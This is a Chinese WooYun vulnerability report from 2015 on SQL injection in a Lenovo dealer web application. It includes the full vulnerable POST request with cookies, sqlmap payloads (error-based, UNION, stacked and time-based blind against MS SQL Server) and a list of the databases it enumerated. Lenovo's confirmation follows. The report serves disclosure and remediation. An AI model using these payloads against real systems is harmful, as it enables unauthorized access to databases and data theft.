当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108852

漏洞标题:联想某站存在SQL注入

相关厂商:联想

漏洞作者: 深度安全实验室

提交时间:2015-04-20 14:06

修复时间:2015-06-05 14:48

公开时间:2015-06-05 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-21: 厂商已经确认,细节仅向厂商公开
2015-05-01: 细节向核心白帽子及相关领域专家公开
2015-05-11: 细节向普通白帽子公开
2015-05-21: 细节向实习白帽子公开
2015-06-05: 细节向公众公开

简要描述:

详细说明:

http://dlx.lenovo.com/dlx3/TSR.Web.OutSide/UI/NewStorefront/addSalePlace.aspx?p=32165&level=-1

页面存在SQL注入:

POST /DLX3/TSR.Web.OutSide/ajax/TSR.Biz.OutSide.AjaxMethod,TSR.Biz.OutSide.ashx?_method=GetProvince&_session=rw HTTP/1.1
Host: dlx.lenovo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dlx.lenovo.com/dlx3/TSR.Web.OutSide/UI/NewStorefront/addSalePlace.aspx?p=32165&level=-1
Content-Length: 24
Content-Type: text/plain; charset=UTF-8
Cookie: __CSRFCOOKIE=9c5206e8-50c6-4afc-ab75-c7262eee2e93; ASP.NET_SessionId=1esh33ud4zbwjr3fd3seh155
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
LocationID=3
AreaID=-1

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: LocationID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: LocationID=3
AreaID=-1' AND 4227=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (4227=4227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(116)+CHAR(101)+CHAR(112)+CHAR(113))) AND 'IPKp'='IPKp
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: LocationID=3
AreaID=-1' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(113)+CHAR(120)+CHAR(80)+CHAR(112)+CHAR(87)+CHAR(116)+CHAR(74)+CHAR(108)+CHAR(90)+CHAR(83)+CHAR(103)+CHAR(113)+CHAR(116)+CHAR(101)+CHAR(112)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LocationID=3
AreaID=-1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LocationID=3
AreaID=-1' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: LocationID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: LocationID=3
AreaID=-1' AND 4227=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (4227=4227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(116)+CHAR(101)+CHAR(112)+CHAR(113))) AND 'IPKp'='IPKp
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: LocationID=3
AreaID=-1' UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(112)+CHAR(110)+CHAR(113)+CHAR(120)+CHAR(80)+CHAR(112)+CHAR(87)+CHAR(116)+CHAR(74)+CHAR(108)+CHAR(90)+CHAR(83)+CHAR(103)+CHAR(113)+CHAR(116)+CHAR(101)+CHAR(112)+CHAR(113),NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: LocationID=3
AreaID=-1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: LocationID=3
AreaID=-1' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2005
available databases [20]:
[*] CSOExam
[*] CSOExam_bak
[*] customerinfo
[*] DBA
[*] gislenovo
[*] gislenovo_bak
[*] Learning7
[*] master
[*] model
[*] msdb
[*] sms
[*] sms_bak
[*] SSF
[*] sunny
[*] Supervisor
[*] symbiosisMeeting
[*] tempdb
[*] Test2_xfdlx
[*] xfdlx
[*] xfdlx_bak

好了,就这样了~

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-04-21 14:47

厂商回复:

感谢您对联想信息安全工作的关注与支持!
联想于2015年4月3日启用安全应急响应中心(LSRC),欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞,以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http:// )
1. 4月联想组织双倍积分回馈活动!
2. 4月杰出贡献奖,Ipad Air2一台!

最新状态:

暂无